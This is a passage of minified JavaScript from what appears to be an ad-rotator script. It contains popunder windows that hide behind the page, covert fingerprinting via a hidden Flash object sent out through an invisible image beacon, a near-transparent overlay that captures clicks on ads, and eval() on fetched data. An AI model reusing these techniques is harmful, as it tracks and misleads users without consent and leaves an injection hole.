  706.                     g = f(g, d, l, m, b[10], 9, 38016083),
  707.                     m = f(m, g, d, l, b[15], 14, -660478335),
  708.                     l = f(l, m, g, d, b[4], 20, -405537848),
  709.                     d = f(d, l, m, g, b[9], 5, 568446438),
  710.                     g = f(g, d, l, m, b[14], 9, -1019803690),
  711.                     m = f(m, g, d, l, b[3], 14, -187363961),
  712.                     l = f(l, m, g, d, b[8], 20, 1163531501),
  713.                     d = f(d, l, m, g, b[13], 5, -1444681467),
  714.                     g = f(g, d, l, m, b[2], 9, -51403784),
  715.                     m = f(m, g, d, l, b[7], 14, 1735328473),
  716.                     l = f(l, m, g, d, b[12], 20, -1926607734),
  717.                     d = c(l ^ m ^ g, d, l, b[5], 4, -378558),
  718.                     g = c(d ^ l ^ m, g, d, b[8], 11, -2022574463),
  719.                     m = c(g ^ d ^ l, m, g, b[11], 16,
  720.                         1839030562),
  721.                     l = c(m ^ g ^ d, l, m, b[14], 23, -35309556),
  722.                     d = c(l ^ m ^ g, d, l, b[1], 4, -1530992060),
  723.                     g = c(d ^ l ^ m, g, d, b[4], 11, 1272893353),
  724.                     m = c(g ^ d ^ l, m, g, b[7], 16, -155497632),
  725.                     l = c(m ^ g ^ d, l, m, b[10], 23, -1094730640),
  726.                     d = c(l ^ m ^ g, d, l, b[13], 4, 681279174),
  727.                     g = c(d ^ l ^ m, g, d, b[0], 11, -358537222),
  728.                     m = c(g ^ d ^ l, m, g, b[3], 16, -722521979),
  729.                     l = c(m ^ g ^ d, l, m, b[6], 23, 76029189),
  730.                     d = c(l ^ m ^ g, d, l, b[9], 4, -640364487),
  731.                     g = c(d ^ l ^ m, g, d, b[12], 11, -421815835),
  732.                     m = c(g ^ d ^ l, m, g, b[15], 16, 530742520),
  733.                     l = c(m ^ g ^ d, l, m, b[2], 23, -995338651),
  734.                     d = h(d, l, m, g, b[0], 6, -198630844),
  735.                     g = h(g, d, l, m, b[7],
  736.                         10, 1126891415),
  737.                     m = h(m, g, d, l, b[14], 15, -1416354905),
  738.                     l = h(l, m, g, d, b[5], 21, -57434055),
  739.                     d = h(d, l, m, g, b[12], 6, 1700485571),
  740.                     g = h(g, d, l, m, b[3], 10, -1894986606),
  741.                     m = h(m, g, d, l, b[10], 15, -1051523),
  742.                     l = h(l, m, g, d, b[1], 21, -2054922799),
  743.                     d = h(d, l, m, g, b[8], 6, 1873313359),
  744.                     g = h(g, d, l, m, b[15], 10, -30611744),
  745.                     m = h(m, g, d, l, b[6], 15, -1560198380),
  746.                     l = h(l, m, g, d, b[13], 21, 1309151649),
  747.                     d = h(d, l, m, g, b[4], 6, -145523070),
  748.                     g = h(g, d, l, m, b[11], 10, -1120210379),
  749.                     m = h(m, g, d, l, b[2], 15, 718787259),
  750.                     l = h(l, m, g, d, b[9], 21, -343485551);
  751.                 a[0] = k(d, a[0]);
  752.                 a[1] = k(l, a[1]);
  753.                 a[2] =
  754.                     k(m, a[2]);
  755.                 a[3] = k(g, a[3])
  756.             }
  757.  
  758.             function c(a, b, c, e, d, f) {
  759.                 b = k(k(b, a), k(e, f));
  760.                 return k(b << d | b >>> 32 - d, c)
  761.             }
  762.  
  763.             function e(a, b, e, d, f, g, h) {
  764.                 return c(b & e | ~b & d, a, b, f, g, h)
  765.             }
  766.  
  767.             function f(a, b, e, d, f, g, h) {
  768.                 return c(b & d | e & ~d, a, b, f, g, h)
  769.             }
  770.  
  771.             function h(a, b, e, d, f, g, h) {
  772.                 return c(e ^ (b | ~d), a, b, f, g, h)
  773.             }
  774.  
  775.             function d(a) {
  776.                 var c = a.length,
  777.                     e = [1732584193, -271733879, -1732584194, 271733878],
  778.                     f;
  779.                 for (f = 64; f <= a.length; f += 64) {
  780.                     for (var g = a.substring(f - 64, f), h = [], k = void 0, k = 0; 64 > k; k += 4) h[k >> 2] = g.charCodeAt(k) + (g.charCodeAt(k + 1) << 8) + (g.charCodeAt(k + 2) << 16) + (g.charCodeAt(k +
  781.                         3) << 24);
  782.                     b(e, h)
  783.                 }
  784.                 a = a.substring(f - 64);
  785.                 g = [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0];
  786.                 for (f = 0; f < a.length; f++) g[f >> 2] |= a.charCodeAt(f) << (f % 4 << 3);
  787.                 g[f >> 2] |= 128 << (f % 4 << 3);
  788.                 if (55 < f) {
  789.                     b(e, g);
  790.                     for (f = 0; 16 > f; f++) g[f] = 0
  791.                 }
  792.                 g[14] = 8 * c;
  793.                 b(e, g);
  794.                 return e
  795.             }
  796.  
  797.             function g(a) {
  798.                 for (var b = 0; b < a.length; b++) {
  799.                     for (var c = a[b], e = "", d = 0; 4 > d; d++) e += j[c >> 8 * d + 4 & 15] + j[c >> 8 * d & 15];
  800.                     a[b] = e
  801.                 }
  802.                 return a.join("")
  803.             }
  804.  
  805.             function k(a, b) {
  806.                 return a + b & 4294967295
  807.             }
  808.             var j = "0123456789abcdef".split("");
  809.             "5d41402abc4b2a76b9719d911017c592" != g(d("hello")) && (k = function (a, b) {
  810.                 var c = (a & 65535) +
  811.                     (b & 65535);
  812.                 return (a >> 16) + (b >> 16) + (c >> 16) << 16 | c & 65535
  813.             });
  814.             return g(d(a))
  815.         },
  816.         $: function (a, b, c, e) {
  817.             var d = navigator.userAgent.toLowerCase(); - 1 != d.indexOf("safari") && -1 == d.indexOf("chrome") && (e = e || "width\x3d" + v.screen.width + ",height\x3d" + v.screen.height + ",left\x3d0,top\x3d0,menubar\x3dno,location\x3dno,resizable\x3dyes,scrollbars\x3dyes,status\x3dno");
  818.             a = v.open(a, c || "", e);
  819.             b || (a.blur(), v.focus())
  820.         },
  821.         fb: function (a) {
  822.             function b(a) {
  823.                 var b = document.createElement("a");
  824.                 b.target = "_blank";
  825.                 b.href = a;
  826.                 a = document.createEvent("MouseEvents");
  827.                 a.initMouseEvent("click", !0, !0, window, 0, 0, 0, 0, 0, !0, !1, !1, !0, 0, null);
  828.                 b.dispatchEvent(a)
  829.             }(-1 != navigator.userAgent.toLowerCase().indexOf("chrome") ? b : d.$)(a)
  830.         },
  831.         e: function (a) {
  832.             var b = +new Date % 1E6;
  833.             return "/?" + b + "\x3d" + this.Ja(a.replace("/?", ""), b)
  834.         },
  835.         p: {
  836.             hb: function (a, b, c, e) {
  837.                 if (n.j && a && b) {
  838.                     var d = {};
  839.                     d.id = a;
  840.                     d.oa = b;
  841.                     d.N = c;
  842.                     d.ca = e;
  843.                     P[P.length] = d;
  844.                     V(a, !1)
  845.                 } else e && e({
  846.                     success: !1,
  847.                     id: a
  848.                 })
  849.             },
  850.             Qa: function (a) {
  851.                 if (n.j) return Pa(a)
  852.             },
  853.             I: function (a, b, c, e, d, h, j, g, k, s) {
  854.                 var z = {
  855.                     success: !1,
  856.                     id: b
  857.                 };
  858.                 n.j && !(n.h && 312 > n.h) && a && b && c && e && d ? (V(b, !1),
  859.                     ob(function () {
  860.                         c += "";
  861.                         e += "";
  862.                         var r = {};
  863.                         if (k && typeof k === N)
  864.                             for (var t in k) r[t] = k[t];
  865.                         r.data = a;
  866.                         r.width = c;
  867.                         r.height = e;
  868.                         t = {};
  869.                         if (g && typeof g === N)
  870.                             for (var l in g) t[l] = g[l];
  871.                         if (j && typeof j === N)
  872.                             for (var m in j) t.flashvars = typeof t.flashvars != w ? t.flashvars + ("\x26" + m + "\x3d" + j[m]) : m + "\x3d" + j[m];
  873.                         if (pa(d)) l = Ka(r, t, b), r.id == b && V(b, !0), z.success = !0, z.Q = l;
  874.                         else {
  875.                             if (h && Oa()) {
  876.                                 r.data = h;
  877.                                 Ma(r, t, b, s);
  878.                                 return
  879.                             }
  880.                             V(b, !0)
  881.                         }
  882.                         s && s(z)
  883.                     })) : s && s(z)
  884.             },
  885.             nb: function () {
  886.                 ib = !1
  887.             },
  888.             T: n,
  889.             Oa: function () {
  890.                 return {
  891.                     $a: n.l[0],
  892.                     eb: n.l[1],
  893.                     ib: n.l[2]
  894.                 }
  895.             },
  896.             ja: pa,
  897.             Ga: function (a,
  898.                 b, c) {
  899.                 if (n.j) return Ka(a, b, c)
  900.             },
  901.             kb: function (a, b, c, e) {
  902.                 n.j && Oa() && Ma(a, b, c, e)
  903.             },
  904.             jb: function (a) {
  905.                 n.j && kb(a)
  906.             },
  907.             Fa: function (a, b, c, e) {
  908.                 n.j && jb(a, b, c, e)
  909.             },
  910.             Ca: ob,
  911.             Da: nb,
  912.             Sa: function (a) {
  913.                 var b = u.location.search || u.location.hash;
  914.                 if (b) {
  915.                     /\?/.test(b) && (b = b.split("?")[1]);
  916.                     if (null == a) return hb(b);
  917.                     for (var b = b.split("\x26"), c = 0; c < b.length; c++)
  918.                         if (b[c].substring(0, b[c].indexOf("\x3d")) == a) return hb(b[c].substring(b[c].indexOf("\x3d") + 1))
  919.                 }
  920.                 return ""
  921.             },
  922.             La: function () {
  923.                 if (sa) {
  924.                     var a = I(mb);
  925.                     a && da && (a.parentNode.replaceChild(da, a), ta && (V(ta, !0), n.c && n.d && (da.style.display = "block")), Na && Na(lb));
  926.                     sa = !1
  927.                 }
  928.             }
  929.         },
  930.         parseJSON: function (a) {
  931.             return eval("(" + a + ")")
  932.         },
  933.         aa: function (a, b, c, e) {
  934.             e = e || "jclb";
  935.             if (c) {
  936.                 var f = "jsonp" + String(Math.random()).slice(4);
  937.                 b += "\x26" + e + "\x3dwindow." + f;
  938.                 v[f] = function (a) {
  939.                     scriptOk = !0;
  940.                     v[f] = void 0;
  941.                     try {
  942.                         delete v[f]
  943.                     } catch (b) {}
  944.                     d.log("Callback called");
  945.                     c(a)
  946.                 }
  947.             }
  948.             b = this.e(b);
  949.             e = this.r("script");
  950.             e.src = a + b;
  951.             return e
  952.         },
  953.         M: function (a, b) {
  954.             var c = this.r("img", b);
  955.             c.src = a;
  956.             return c
  957.         },
  958.         U: function (a, b) {
  959.             var c = this.r("iframe", b);
  960.             c.src = a;
  961.             return c
  962.         },
  963.         r: function (a, b) {
  964.             var c =
  965.                 j.createElement(a);
  966.             b ? b.appendChild(c) : j.body.appendChild(c);
  967.             return c
  968.         },
  969.         Ua: function () {
  970.             var a = 0,
  971.                 b = 0;
  972.             v.screen ? (b = v.screen.width, a = v.screen.height) : v.Za && (a = v.Za.awt.Toolkit.getDefaultToolkit().getScreenSize(), b = a.width, a = a.height);
  973.             return "\x26width\x3d" + b + "\x26height\x3d" + a
  974.         },
  975.         ab: function (a, b) {
  976.             function c(a) {
  977.                 a = [navigator.userAgent, [screen.width, screen.height, screen.colorDepth].join("x"), (new Date).getTimezoneOffset(), !!window.sessionStorage, !!window.localStorage, null != a ? a.version : "undefined", (null != a ? a.fonts : []).join("::"), e(navigator.plugins, function (a) {
  978.                     return [a.name, a.description, e(a, function (a) {
  979.                         return [a.type, a.suffixes].join("~")
  980.                     }).join(",")].join("::")
  981.                 }).join(";")].join("###");
  982.                 a = h.cb(a);
  983.                 h.M(b + "?t\x3dfr\x26fr\x3d" + a).style.cssText = h.L;
  984.                 h.log("FR: " + a)
  985.             }
  986.  
  987.             function e(a, b) {
  988.                 for (var c, e = 0, d = a.length, f = []; e < d; e++) c = b(a[e], e), null != c && (f[f.length] = c);
  989.                 return f
  990.             }
  991.             var d = {
  992.                 quality: "high",
  993.                 bgcolor: "#F7F7F7",
  994.                 allowscriptaccess: "always",
  995.                 scale: "noscale",
  996.                 salign: "tl",
  997.                 align: "l",
  998.                 wmode: "opaque"
  999.             };
  1000.             this.J = this.p.ja("1");
  1001.             var h = this,
  1002.                 j = this.r("div");
  1003.             j.style.cssText = "left:-10000px;height:1px;width:1px;position:absolute;";
  1004.             var g = window.document.createElement("div");
  1005.             g.id = "plshldr_" + +new Date;
  1006.             j.appendChild(g);
  1007.             this.J ? (window["frcb_" + g.id] = c, this.p.I(a + "img/fr.swf?v\x3d1", g.id, "1", "1", "10.0.0", "", {
  1008.                 clb: "frcb_" + g.id
  1009.             }, d, {})) : c(null)
  1010.         },
  1011.         Pa: function () {
  1012.             function a(a, b) {
  1013.                 return "\x26jsBrowser\x3d" + (a + (b ? "_" + b : "")).toUpperCase()
  1014.             }
  1015.             var b = void 0 != v.chrome,
  1016.                 c = null != j.getBoxObjectFor || null != v.mozInnerScreenX,
  1017.                 e = "ontouchstart" in window;
  1018.             return void 0 != v.ya &&
  1019.                 void 0 != v.ya_cf ? a("yandex") : b && e ? a("chrome", "mobile") : b ? a("chrome") : c && e ? a("mobile", "firefox") : c ? a("firefox") : void 0 != v.operamini ? a("opera", "mini") : void 0 != v.opera ? a("opera") : ""
  1020.         },
  1021.         X: function (a) {
  1022.             function b() {
  1023.                 return self.innerHeight ? self.innerHeight : j.documentElement && j.documentElement.clientHeight ? j.documentElement.clientHeight : j.body ? j.body.clientHeight : 600
  1024.             }
  1025.  
  1026.             function c() {
  1027.                 var a = 0,
  1028.                     b = 0;
  1029.                 if ("number" == typeof v.pageYOffset) b = v.pageYOffset, a = v.pageXOffset;
  1030.                 else if (j.body && (j.body.scrollLeft || j.body.scrollTop)) b =
  1031.                     j.body.scrollTop, a = j.body.scrollLeft;
  1032.                 else if (j.documentElement && (j.documentElement.scrollLeft || j.documentElement.scrollTop)) b = j.documentElement.scrollTop, a = j.documentElement.scrollLeft;
  1033.                 return [a, b]
  1034.             }
  1035.             switch (a.type) {
  1036.             case "top":
  1037.                 a.C.style.top = c()[1] + "px";
  1038.                 break;
  1039.             case "center":
  1040.                 a.C.style.top = b() / 2 + c()[1] - a.C.offsetHeight + "px";
  1041.                 break;
  1042.             default:
  1043.                 a.C.style.top = b() + c()[1] - a.C.offsetHeight + "px"
  1044.             }
  1045.         },
  1046.         Ta: function (a) {
  1047.             return j.referrer && -1 == a.indexOf("\x26ref\x3d") ? "\x26ref\x3d" + encodeURIComponent(j.referrer) : ""
  1048.         },
  1049.         Wa: function (a) {
  1050.             return -1 ==
  1051.                 a.indexOf("\x26ref\x3d") ? "\x26ref\x3d" + encodeURIComponent(v.location.href) : ""
  1052.         },
  1053.         Ka: function (a, b) {
  1054.             return -1 !== a.indexOf(b, a.length - b.length)
  1055.         },
  1056.         k: function () {
  1057.             var a = (j.compatMode || this.ka) && !this.Z ? "CSS1Compat" == j.compatMode ? j.documentElement.clientHeight : j.body.clientHeight : (j.gb || j.defaultView).innerHeight;
  1058.             d.log(a);
  1059.             return a
  1060.         },
  1061.         ra: function () {
  1062.             return (j.compatMode || this.ka) && !this.Z ? "CSS1Compat" == j.compatMode ? j.documentElement.clientWidth : j.body.clientWidth : (j.gb || j.defaultView).innerWidth
  1063.         },
  1064.         o: function () {
  1065.             return Math.max(v.pageYOffset ||
  1066.                 j.documentElement.scrollTop, j.body.scrollTop)
  1067.         },
  1068.         Ra: function (a, b) {
  1069.             for (var c = b.parentNode, e = " " + a + " "; c = c.parentNode;)
  1070.                 if (-1 != (" " + c.className + " ").indexOf(e)) return c;
  1071.             return null
  1072.         }
  1073.     };
  1074.     pb.prototype = {
  1075.         a: {},
  1076.         n: {},
  1077.         f: null,
  1078.         ma: function () {
  1079.             function a(a) {
  1080.                 d.ab(b.a.scriptsDomain, b.a.rotatorDomain);
  1081.                 a = d.parseJSON(d.F(a));
  1082.                 d.log("Success RT, ", a);
  1083.                 d.Ya(a);
  1084.                 b.n = a;
  1085.                 b.a.rtUri.replace("/?", "");
  1086.                 var c = {
  1087.                     br: Cb,
  1088.                     as: Db,
  1089.                     tl: Eb,
  1090.                     cf: Fb,
  1091.                     vkm: Gb,
  1092.                     rot: Hb,
  1093.                     popup: Ib,
  1094.                     mppund: Jb,
  1095.                     tsr: Kb,
  1096.                     scr: Lb,
  1097.                     pin: Mb,
  1098.                     mdirect: Nb
  1099.                 };
  1100.                 if (a.ads)
  1101.                     for (var h = 0; h < a.ads.length; h++) {
  1102.                         var j =
  1103.                             c[a.ads[h].format];
  1104.                         j ? (d.log(a.ads[h].clickUri), a.ads[h].clickUri += d.Wa(a.ads[h].clickUri), d.log("Rendering,", a.ads[h]), d.log(a.ads[h].clickUri), j.m(a.ads[h])) : d.log("Cant render ad:", a.ads[h])
  1105.                     }
  1106.             }
  1107.             var b = this,
  1108.                 c = this.a.rtUri.replace("/?", "");
  1109.             this.a.rotatorDomain && this.a.rtUri && d.aa(this.a.rotatorDomain, this.a.rtUri + this.Va(c) + d.Ua() + d.Pa() + d.Ta(c), a)
  1110.         },
  1111.         xa: function (a) {
  1112.             d.M(a).style.cssText = "width:1px;height:1px;position:absolute;left:-10000px;"
  1113.         },
  1114.         Va: function (a) {
  1115.             var b = "";
  1116.             this.a.foreignUid && (b = "\x26foreignUid\x3d" +
  1117.                 this.a.foreignUid);
  1118.             return -1 == a.indexOf("\x26udata\x3d") && v.globalInfo.udata && (a = v.globalInfo.udata) ? (a = d.parseJSON(d.F(a)), a.matchingUrl && this.xa(a.matchingUrl), b + "\x26udata\x3d" + a.uid) : b
  1119.         }
  1120.     };
  1121.     var y = "undefined",
  1122.         L = "object",
  1123.         la = "application/x-shockwave-flash",
  1124.         eb = "SWFObjectExprInst",
  1125.         E = v,
  1126.         q = j,
  1127.         R = navigator,
  1128.         tb = !1,
  1129.         oa = [
  1130.             function () {
  1131.                 if (tb) {
  1132.                     var a = q.getElementsByTagName("body")[0],
  1133.                         b = q.createElement(L);
  1134.                     b.setAttribute("type", la);
  1135.                     var c = a.appendChild(b);
  1136.                     if (c) {
  1137.                         var d = 0;
  1138.                         (function () {
  1139.                             if (typeof c.GetVariable != y) {
  1140.                                 var f = c.GetVariable("$version");
  1141.                                 f && (f = f.split(" ")[1].split(","), p.l = [parseInt(f[0], 10), parseInt(f[1], 10), parseInt(f[2], 10)])
  1142.                             } else if (10 > d) {
  1143.                                 d++;
  1144.                                 setTimeout(arguments.callee, 10);
  1145.                                 return
  1146.                             }
  1147.                             a.removeChild(b);
  1148.                             c = null;
  1149.                             Ia()
  1150.                         })()
  1151.                     } else Ia()
  1152.                 } else Ia()
  1153.             }
  1154.         ],
  1155.         O = [],
  1156.         ka = [],
  1157.         X = [],
  1158.         ca, na, Fa, db, U = !1,
  1159.         ma = !1,
  1160.         K, Ba, ab = !0,
  1161.         p, Ob = typeof q.getElementById != y && typeof q.getElementsByTagName != y && typeof q.createElement != y,
  1162.         za = R.userAgent.toLowerCase(),
  1163.         Aa = R.platform.toLowerCase(),
  1164.         Pb = Aa ? /win/.test(Aa) : /win/.test(za),
  1165.         Qb = Aa ? /mac/.test(Aa) : /mac/.test(za),
  1166.         Rb = /webkit/.test(za) ? parseFloat(za.replace(/^.*webkit\/(\d+(\.\d+)?).*$/,
  1167.             "$1")) : !1,
  1168.         Za = !+"\v1",
  1169.         ha = [0, 0, 0],
  1170.         A = null;
  1171.     if (typeof R.plugins != y && typeof R.plugins["Shockwave Flash"] == L) {
  1172.         if ((A = R.plugins["Shockwave Flash"].description) && !(typeof R.mimeTypes != y && R.mimeTypes[la] && !R.mimeTypes[la].enabledPlugin)) tb = !0, Za = !1, A = A.replace(/^.*\s+(\S+\s+\S+$)/, "$1"), ha[0] = parseInt(A.replace(/^(.*)\..*$/, "$1"), 10), ha[1] = parseInt(A.replace(/^.*\.(.*)\s.*$/, "$1"), 10), ha[2] = /[a-zA-Z]/.test(A) ? parseInt(A.replace(/^.*[a-zA-Z]+(.*)$/, "$1"), 10) : 0
  1173.     } else if (typeof E.ActiveXObject != y) try {
  1174.         var ub = new ActiveXObject("ShockwaveFlash.ShockwaveFlash");
  1175.         if (ub && (A = ub.GetVariable("$version"))) Za = !0, A = A.split(" ")[1].split(","), ha = [parseInt(A[0], 10), parseInt(A[1], 10), parseInt(A[2], 10)]
  1176.     } catch (Tb) {}
  1177.     p = {
  1178.         j: Ob,
  1179.         l: ha,
  1180.         h: Rb,
  1181.         c: Za,
  1182.         d: Pb,
  1183.         P: Qb
  1184.     };
  1185.     p.j && ((typeof q.readyState != y && "complete" == q.readyState || typeof q.readyState == y && (q.getElementsByTagName("body")[0] || q.body)) && Y(), U || (typeof q.addEventListener != y && q.addEventListener("DOMContentLoaded", Y, !1), p.c && p.d && (q.attachEvent("onreadystatechange", function () {
  1186.         "complete" == q.readyState && (q.detachEvent("onreadystatechange",
  1187.             arguments.callee), Y())
  1188.     }), E == top && function () {
  1189.         if (!U) {
  1190.             try {
  1191.                 q.Ha.doScroll("left")
  1192.             } catch (a) {
  1193.                 setTimeout(arguments.callee, 0);
  1194.                 return
  1195.             }
  1196.             Y()
  1197.         }
  1198.     }()), p.h && function () {
  1199.         U || (/loaded|complete/.test(q.readyState) ? Y() : setTimeout(arguments.callee, 0))
  1200.     }(), fb(Y)));
  1201.     p.c && p.d && v.attachEvent("onunload", function () {
  1202.         for (var a = X.length, b = 0; b < a; b++) X[b][0].detachEvent(X[b][1], X[b][2]);
  1203.         a = ka.length;
  1204.         for (b = 0; b < a; b++) cb(ka[b]);
  1205.         for (var c in p) p[c] = null;
  1206.         p = null;
  1207.         for (var e in d.p) d.p[e] = null;
  1208.         d.p = null
  1209.     });
  1210.     G.prototype = {
  1211.         ba: {
  1212.             sa: "",
  1213.             link: "aHR0cDovL3dpemFyZC10cmFmZnN0b2NrLmNvbS8/dXRtX3NvdXJjZT1vdXJiYW5uZXImdXRtX21lZGl1bT1iYW5uZXImdXRtX2NhbXBhaWduPWJhbm5lcl9yZWc\x3d"
  1214.         },
  1215.         Ea: 3E3,
  1216.         fa: "",
  1217.         ta: "",
  1218.         ua: "",
  1219.         lb: "",
  1220.         Aa: "",
  1221.         L: "left:-10000px;top:-10000px;height:1px;width:1px;position:absolute;",
  1222.         T: "",
  1223.         Z: "",
  1224.         J: !1,
  1225.         za: 2,
  1226.         S: [],
  1227.         f: {},
  1228.         b: function (a, b, c, d) {
  1229.             a.addEventListener ? a.addEventListener(b, c, d) : a.attachEvent("on" + b, c)
  1230.         },
  1231.         D: function (a) {
  1232.             a = a || event;
  1233.             a.cancelBubble = !0;
  1234.             a.stopPropagation && a.stopPropagation()
  1235.         },
  1236.         Y: function (a, b, c, e) {
  1237.             var f = this;
  1238.             if (a.isDefaultClose || !this.J && a.stubSrc) {
  1239.                 e = e || -12;
  1240.                 c = c || b;
  1241.                 var h = j.createElement("span");
  1242.                 h.style.cssText = this.fa.replace("${offsetTop}", e);
  1243.                 h.className += "br-cls-icn";
  1244.                 h.onclick = function (b) {
  1245.                     f.D(b);
  1246.                     f.close(a, c)
  1247.                 };
  1248.                 if (a.isDefaultClick || !this.J && a.stubSrc) e = j.createElement("a"), e.style.cssText = this.Aa, e.target = "_blank", e.href = a.trackingDomain + d.e(a.clickUri + f.t()), e.className += "br-lnk-lyr", e.onclick = function (b) {
  1249.                     f.D(b);
  1250.                     this.href = a.trackingDomain + d.e(a.clickUri + f.t());
  1251.                     f.la(c)
  1252.                 }, b.appendChild(e);
  1253.                 setTimeout(function () {
  1254.                     b.appendChild(h)
  1255.                 }, this.Ea)
  1256.             } else v.hide = function () {
  1257.                 f.close(a, f.f)
  1258.             }
  1259.         },
  1260.         G: function (a, b, c, e) {
  1261.             c = c || "bottom";
  1262.             e = e || "right";
  1263.             b.showLogo && (b = j.createElement("a"), b.className +=
  1264.                 "system-logo", b.href = d.F(this.ba.link), b.target = "_blank", b.style.cssText = "z-index:99;position:absolute;" + c + ":-15px;width:100%;height:15px;left:0;right:0; background:#fff url(" + this.ba.sa + ") no-repeat " + e + " top;", a.appendChild(b))
  1265.         },
  1266.         H: function (a, b) {
  1267.             d.M(b.impDomain + d.e(b.trackShowUri)).style.cssText = this.L
  1268.         },
  1269.         t: function () {
  1270.             return d.ga > this.za || 0 < d.ha || x.n.isMobile ? "" : "\x26rej\x3d1"
  1271.         },
  1272.         p: {
  1273.             hb: function (a, b, c, d) {
  1274.                 if (p.j && a && b) {
  1275.                     var f = {};
  1276.                     f.id = a;
  1277.                     f.oa = b;
  1278.                     f.N = c;
  1279.                     f.ca = d;
  1280.                     O[O.length] = f;
  1281.                     T(a, !1)
  1282.                 } else d && d({
  1283.                     success: !1,
  1284.                     id: a
  1285.                 })
  1286.             },
  1287.             Qa: function (a) {
  1288.                 if (p.j) return Ha(a)
  1289.             },
  1290.             I: function (a, b, c, d, f, h, j, g, k, s) {
  1291.                 var z = {
  1292.                     success: !1,
  1293.                     id: b
  1294.                 };
  1295.                 p.j && !(p.h && 312 > p.h) && a && b && c && d && f ? (T(b, !1), gb(function () {
  1296.                     c += "";
  1297.                     d += "";
  1298.                     var r = {};
  1299.                     if (k && typeof k === L)
  1300.                         for (var t in k) r[t] = k[t];
  1301.                     r.data = a;
  1302.                     r.width = c;
  1303.                     r.height = d;
  1304.                     t = {};
  1305.                     if (g && typeof g === L)
  1306.                         for (var l in g) t[l] = g[l];
  1307.                     if (j && typeof j === L)
  1308.                         for (var m in j) t.flashvars = typeof t.flashvars != y ? t.flashvars + ("\x26" + m + "\x3d" + j[m]) : m + "\x3d" + j[m];
  1309.                     if (ja(f)) l = Ca(r, t, b), r.id == b && T(b, !0), z.success = !0, z.Q = l;
  1310.                     else {
  1311.                         if (h && Ga()) {
  1312.                             r.data = h;
  1313.                             Ea(r, t,
  1314.                                 b, s);
  1315.                             return
  1316.                         }
  1317.                         T(b, !0)
  1318.                     }
  1319.                     s && s(z)
  1320.                 })) : s && s(z)
  1321.             },
  1322.             nb: function () {
  1323.                 ab = !1
  1324.             },
  1325.             T: p,
  1326.             Oa: function () {
  1327.                 return {
  1328.                     $a: p.l[0],
  1329.                     eb: p.l[1],
  1330.                     ib: p.l[2]
  1331.                 }
  1332.             },
  1333.             ja: ja,
  1334.             Ga: function (a, b, c) {
  1335.                 if (p.j) return Ca(a, b, c)
  1336.             },
  1337.             kb: function (a, b, c, d) {
  1338.                 p.j && Ga() && Ea(a, b, c, d)
  1339.             },
  1340.             jb: function (a) {
  1341.                 p.j && cb(a)
  1342.             },
  1343.             Fa: function (a, b, c, d) {
  1344.                 p.j && bb(a, b, c, d)
  1345.             },
  1346.             Ca: gb,
  1347.             Da: fb,
  1348.             Sa: function (a) {
  1349.                 var b = q.location.search || q.location.hash;
  1350.                 if (b) {
  1351.                     /\?/.test(b) && (b = b.split("?")[1]);
  1352.                     if (null == a) return $a(b);
  1353.                     for (var b = b.split("\x26"), c = 0; c < b.length; c++)
  1354.                         if (b[c].substring(0, b[c].indexOf("\x3d")) == a) return $a(b[c].substring(b[c].indexOf("\x3d") +
  1355.                             1))
  1356.                 }
  1357.                 return ""
  1358.             },
  1359.             La: function () {
  1360.                 if (ma) {
  1361.                     var a = H(eb);
  1362.                     a && ca && (a.parentNode.replaceChild(ca, a), na && (T(na, !0), p.c && p.d && (ca.style.display = "block")), Fa && Fa(db));
  1363.                     ma = !1
  1364.                 }
  1365.             }
  1366.         },
  1367.         I: function (a, b, c, d, f, h) {
  1368.             this.p.I(this.bb(a, b, c), d, f, h, "10.0.0", "", !1, this.S, !1)
  1369.         },
  1370.         bb: function (a, b, c) {
  1371.             return x.a.imgDomain + a + "?closeid\x3d" + b + "\x26link1\x3d" + c + this.wa()
  1372.         },
  1373.         wa: function () {
  1374.             return "\x26keywords\x3d" + encodeURIComponent(x.a.keywords) + "\x26browsername\x3d" + encodeURIComponent(x.a.uaFamilyName) + "\x26browserversion\x3d" + x.a.uaVersion + "\x26os\x3d" +
  1375.                 encodeURIComponent(x.a.osName) + "\x26countryid\x3d" + x.a.countryId + "\x26district\x3d" + encodeURIComponent(x.a.district) + "\x26region\x3d" + encodeURIComponent(x.a.region) + "\x26city\x3d" + encodeURIComponent(x.a.city)
  1376.         },
  1377.         z: function (a) {
  1378.             return a.replace("{keywords}", x.n.keywords || "").replace("{browsername}", x.n.uaFamilyName || "").replace("{browserversion}", x.n.uaVersion || "").replace("{os}", x.n.osName || "").replace("{countryid}", x.n.countryId || "").replace("{district}", x.n.district || "").replace("{region}", x.n.region ||
  1379.                 "").replace("{city}", x.n.city || "")
  1380.         },
  1381.         Ia: function (a, b, c, e, f) {
  1382.             a = d.U(a + (-1 == a.indexOf("?") ? "?" : "\x26") + "clickUrl\x3d" + b + this.wa(), c);
  1383.             a.style.cssText = "width:" + e + "px;height:" + f + "px;border:none;";
  1384.             a.scrolling = "no"
  1385.         },
  1386.         va: function (a) {
  1387.             var b = a.clickUri.replace("clk", "cl");
  1388.             a = (a.trackingDomain || a.teasers[0].trackingDomain) + d.e(b);
  1389.             d.M(a).style.cssText = this.L
  1390.         },
  1391.         close: function (a, b) {
  1392.             this.va(a);
  1393.             this.la(b)
  1394.         },
  1395.         la: function (a) {
  1396.             a && j.body.removeChild(a)
  1397.         },
  1398.         s: function (a) {
  1399.             this.ba.sa = x.a.scriptsDomain + "img/adv.png";
  1400.             this.J = this.p.ja("1");
  1401.             d.log(a);
  1402.             this.T = navigator.userAgent.toLowerCase();
  1403.             this.Z = -1 < this.T.indexOf("opera");
  1404.             this.ka = !this.Z && -1 < this.T.indexOf("msie");
  1405.             this.ta = x.a.scriptsDomain + "img/close.png";
  1406.             this.ua = x.a.scriptsDomain + "img/close_ie.gif";
  1407.             this.fa = "z-index:101;position:absolute;top:${offsetTop}px;right:-12px;background:url(" + this.ta + ") no-repeat 50%;width:30px;height:30px;cursor:pointer;* background:url(" + this.ua + ");";
  1408.             this.lb = x.a.scriptsDomain + "img/blank.gif";
  1409.             this.Aa = "background:white;filter:progid:DXImageTransform.Microsoft.Alpha(opacity\x3d1);-moz-opacity:0.01;-khtml-opacity:0.01;opacity:0.01;cursor:pointer;left:0px;top:0px;right:0px;bottom:0px;width:100%;height:100%;position:absolute;";
  1410.             this.S.allowScriptAccess = "always";
  1411.             this.S.quality = "high";
  1412.             this.S.wmode = "transparent"
  1413.         },
  1414.         m: function () {
  1415.             d.log("Method not implemented")
  1416.         },
  1417.         K: function (a, b) {
  1418.             var c = null,
  1419.                 e = j.createElement("div");
